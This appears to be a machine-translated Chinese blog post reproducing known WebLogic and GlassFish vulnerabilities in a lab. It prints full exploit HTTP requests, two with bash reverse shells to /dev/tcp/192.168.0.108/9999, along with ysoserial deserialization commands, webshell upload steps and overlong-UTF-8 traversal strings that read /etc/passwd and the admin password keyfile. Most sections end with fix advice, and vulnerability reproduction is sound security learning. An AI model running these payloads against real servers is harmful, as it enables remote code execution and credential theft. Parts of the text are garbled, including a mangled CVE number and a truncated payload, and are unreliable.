經常件之間的漏洞復現(下)

安全頻道發表於2022-03-18

繼續上篇復現中間常見的件漏洞

在虛擬機器中安裝docker環境具體不再演示了

網路邏輯

WebLogic 是美國公司出品的一款應用伺服器,確切的說是一個基於 JAVAEE 架構的伺服器,WebLogic 是、整合、部署和管理大型 Web 應用、網路應用開發和資料庫的 Java 應用伺服器。 Java的動態功能和Java企業標準的安全性引入了大型網路應用的開發、整合、部署和管理當中。

XMLDecoder 反序列化漏洞(CVE-2017-3506 & CVE-2017-10271)

影響版本:Weblogic < 10.3.6

漏洞利用形成 WLS 元件額外提供的 Web 服務服務使用了 XMLDevex 來解析命令出現的序列使用者的過程中,Weblogic 中的資料,在解析中生成反化漏洞,導致編碼器發生異常。

使用docker環境

成功瀏覽器訪問:,介面上出現Error 404--Not Found,即啟動。

1646198478_621efecebc372b11f45ad.png!small?1646198478379

訪問 /wls-wsat/CoordinatorPortType 返回如下頁面,則可能存在此漏洞

1646198921_621f0089ec8da414c2db5.png!small?1646198921448

只要是在wls -wsat/CoordinatorPortType的情況下。只要
是在wls-wsat中的Uri都會受到影響,可以檢視web.xml包中的所有會在Uri中受到影響,路徑為:\Oracle\iddleware\user_projects\domains\ base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml
會受到 Uri 的影響:

/wls-wsat/CoordinatorPortType/wls-wsat/RegistrationPortTypeRPC/wls-wsat/ParticipantPortType/wls-wsat/RegistrationRequesterPortType/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11

抓取包POST寫入資料,其中Content-Type需要解譯,否則可能導致XML編碼器不解析。

這句會寫入一個test.jsp訪問會列印,真實性寫shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 533<soapenv:Envelope xmlns:soapenv="![CDATA[<% out.print("1_Ry"); %>]]></string></void><void method="close"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

訪問/bea_wls_internal/test.jsp,如下,可以看到寫入成功

1646210419_621f2d730695e52c88815.png!small?1646210418528

驗證成功漏洞,然後透過下面的命令執行反彈到本地,這裡反彈ip不能是1270.0.1,因此反彈不到。

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.0.108/9999 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

1646221180_621f577caef885324e0b4.png!small?1646221180424

也可以寫入jsp webshell,這裡就不演示了

CVE-2017-3506 的上傳新增了驗證函式,解決方法在 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java 中新增了validate 驗證有效負載中的節點是否存在物件標籤。

將換成這樣就可以替換了,產生了CVE-2017-171,還可以換成陣列,新的等我們換成物件。

<soapenv:Envelope xmlns:soapenv="![CDATA[<% out.print("1_Ry"); %>]]></string></void><void method="close"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

修復建議:

  • 安裝更新。

  • 或刪除wls-wsat元件,再次訪問返回404。

1.刪除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war2.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war3.刪除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat

Weblogic wls9_async_response,wls-wsat 反序列化遠端執行程式碼漏洞(CVE-2019-2725)

影響元件:bea_wls9_async_response.war, wls-wsat.war

影響版本:10.3.6.0, 12.1.3.0

訪問 /_async/AsyncResponseService 以下頁面,則可能存在返回此漏洞。

1646226679_621f6cf74adac06b012f9.png!small?1646226679476

漏洞存在於/AsyncResponseService 是在bea_wls9_async_response_包中的Uri 都會受到影響,可以檢視web.xml 在所有的Uri 中都會受到影響,路徑為:\Oraclebase_domain\servers\Admin\Server tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
會受到 Uri 的影響:

/_async/AsyncResponseService/_async/AsyncResponseServiceJms/_async/AsyncResponseServiceHttps

這個漏洞實際上是CVE-2017-10271的又一入口。

CVE-20173506 的結果是過濾了物件,CVE-2017-10271-的結果是過濾了新的,方法標籤,void 後面只能跟索引,陣列後面可以類,但是必須是位元組型別的。

輪到CVE-217-1111111111因為class0207標籤過濾所帶來的

有效載荷:

POST /_async/AsyncResponseService HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 786<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.0.108/9999 0&gt;&amp;1</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)

Weblogic Server WLS Core Components反序列化命令執行漏洞(CVE-2018-2628),該漏洞透過t3協議觸發,可導致未授權的使用者在遠端伺服器執行任意命令。

下載ysoserial.jar 

使用ysoserial.jar,啟動JRMP Server,我建立了一個1_Ry資料夾,JRMP Server監聽的埠為9999

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections1 'touch /tmp/1_Ry'

然後,使用 ,向目標Weblogic( )傳送資料包:

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中, 是目標weblogic的IP和埠, 是本地的序列的路徑,先 地址中啟動JRMP Server的IP值和埠。是執行 [victim ip] MPClient 的類,可選的是 或或 [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] JRMPClient JRMPClient2

下面是我的構造的有效載荷

python exploit.py 127.0.0.1 7001 /root/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.108 9999 JRMPClient2

1646313799_6220c147148612b082fd8.png!small?1646313799048

可以看到命令執行成功,建立了一個 1_Ry 資料夾執行成功

修復建議:

  • 過濾t3協議。

  • 安裝升級

Weblogic 任意檔案上傳漏洞(CVE-2018-2894)

影響版本:12.1.3.0、12.2.1.2、12.2.1.3

漏洞形成 Web Service Test Page:Web Service 必須限制“Web 檔案上傳漏洞”,開啟“生產模式下預設不開啟,所以該漏洞有限制。

若需在Weblogic生產模式下進行復現,則需要登入後臺頁面,點選base_domain的配置,在“高階”設定中開啟“啟用Web服務測試頁”選項

訪問 /console ,可以檢視後臺登入頁面。

執行 docker-compose logs | grep password 可檢視管理員密碼,管理員使用者名稱為 weblogic

1646315445_6220c7b5ddac227e5b4f8.png!small?1646315445242

後臺登入頁面,點選 base_domain 配置,在“高階”中開啟“啟用Web服務測試頁”選項:(記得點儲存)

1646315749_6220c8e532dd413496ec8.png!small?1646315748535

第一次上傳點:訪問

設定 Work Home Dir 為 ws_utc 應用的靜態檔案 css 目錄 /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 。因為訪問這個目錄是單獨許可權的

提交後,點選左側安全->新增,然後上傳Webshell。

1646316063_6220ca1f5341451a526a3.png!small?1646316062710

提交提交,抓取的返回資料,點選上傳,可以看到串號

1646316406_6220cb76e846aaa4cf307.png!small?1646316406432

,自動執行webshel  l

1646316554_6220cc0aa12322ef9cb3c.png!small?1646316554017


第二處上傳點:ws_utc/begin.do

點選返回的資料夾,上傳網頁,並抓取

1646317011_6220cdd300d692295b2b0.png!small?1646317010395

可以看到返回的路徑,直接訪問ws_utc/css/upload/RS_Upload_2022-03-03_14-18-52_934/import_file_name_shell.jsp

1646317193_6220ce899a01fdfce9538.png!small?1646317193018 1646317371_6220cf3bddfc51ff3329c.png!small?1646317371292

Weblogic SSRF漏洞(CVE-2014-4210)

影響版本:10.0.2.0, 10.3.6.0

透過返回資料包中的錯誤資訊,即可檢測內網狀態。

訪問/uddiexplorer/SearchPublicRegistries.jsp,若能正常訪問,則可能存在此漏洞,填寫任意資訊,如下

1646318270_6220d2be9df2368a39f06.png!small?1646318270088

點選搜尋,並抓抓包之後在 Burp 中擷取,選擇更改請求方式,將 POST 請求更改成 GET。

1646319144_6220d628b3de6a270224f.png!small?1646319144231

引數operator為SSRF的可控引數

  • 將其更改為開啟的埠,如,將返回錯誤碼 1646319388_6220d71c14d60413eb4a9.png!small?1646319387522

  • 如果開放埠為HTTP協議(但22埠顯示也是HTTP協議),如 一個有效的返回ID沒有SOAP內容型別。 1646320299_6220daabd2d1aea9f1ec1.png!small?1646320299286

  • 訪問不存在的埠,將返回無法透過 HTTP 連線到伺服器 1646319566_6220d7cec17e502b2c2c1.png!small?1646319566208

透過資料中的報錯資訊,可以檢測到內網狀態。實戰中可以透過破解,從返回資料包的長度來判斷開啟了哪些埠,再根據開放的返回邏輯包使用,這裡參考 vulhub/web /ssrf at master · vulhub/vulhub (github.com)

修復建議:

  • 刪除SearchPublicRegistries.jsp檔案或修改SearchPublicRegistries.jsp檔案字尾為不解析字尾,如SearchPublicRegistries.jspxxx,PublicRegistries.jsp路徑為:/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw \戰爭

Weblogic弱弱&&後臺getshell

訪問console自動控制臺到console/login/LoginForm.jsp,使用弱登入後臺。

進入後臺,點選部署,進入點選右側的安裝。

1646376474_6221b61a4fe92ed92a2cd.png!small?1646376473566

選擇上傳檔案

1646377485_6221ba0d8d75a3d8ee7cc.png!small?1646377486024

上傳戰爭包

1646377630_6221ba9eb499e7bab8d90.png!small?1646377630224

上傳完成 以後你上傳的檔案,點選下一步

1646377665_6221bac101f3eb6845d4c.png!small?1646377664400

再下一步後直接點選完成智慧

1646378078_6221bc5edf29e2eea4ccc.png!small?1646378078135

可以看到已經部署

1646378177_6221bcc190aa44068409b.png!small?1646378177542

訪問:[戰爭包名]/[包名內檔名]智慧

1646378250_6221bd0a734679d80c464.png!small?1646378249645

修復建議:

  • 避免後臺弱

玻璃魚

GlassFish 是用於製造 Java EE 5 應用程式伺服器的開源專案的名稱。它基於 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的原始碼以及 Oracle 貢獻的 TopLink 效能程式碼。服務的過程,以更快的速度提供新的功能。

8080(Web應用埠,即網站內容),4848(Glass預設魚管理中心)

GlassFish 任意檔案讀取漏洞(CVE-2017-1000028)

最新版本:<=4.1.2版本

Java語言中傳輸%c0%af解析為\uC0AF,最後轉義為ASCCII字元的/(斜槓)。利用.%c0%af.%c0%af來向上跳轉,到達穿透、任意讀取檔案的效果。

發現了8個編碼接收並指定這是一個計算機進行的標準轉義,當發現一個位元組000表示ASCII字元,當1100個大意,則取2個位元組後去掉110個
模板 . UTF8 編碼模板如下

1646394273_6221fba1822eddf637172.png!small?1646394272840

C0AF轉換位二進位制為110 00000 10 101111,111111,11111,11111,110開頭去掉後為00000 101111為47,ASSCI為/。

%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

1646396069_622202a584a9e5784b213.png!small?1646396068580

讀admin-keyfile檔案,該檔案是儲存管理員密碼的檔案

%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile

1646396322_622203a27e6ea69529895.png!small?1646396321505

修復建議

  • 升級GlassFish最新版本。

GlassFish後臺Getshell

127.0.0.1:4848進入後臺後應用,右邊的部署

1646396520_622204682e01210651154.png!small?1646396519203

戰爭包後上傳,上下文根這個關係到你訪問的url,點選確定。

1646396585_622204a995e46f480f45d.png!small?1646396584656

1646378250_6221bd0a734679d80c464.png!small?1646378249645

修復建議

  • 不開放後臺給外網

  • 避免使用弱回


來自 “ FreeBuf ”, 原文作者:小魚;原文連結:https://www.freebuf.com/vuls/323926.html,如有侵權,請聯絡管理員刪除。

相關文章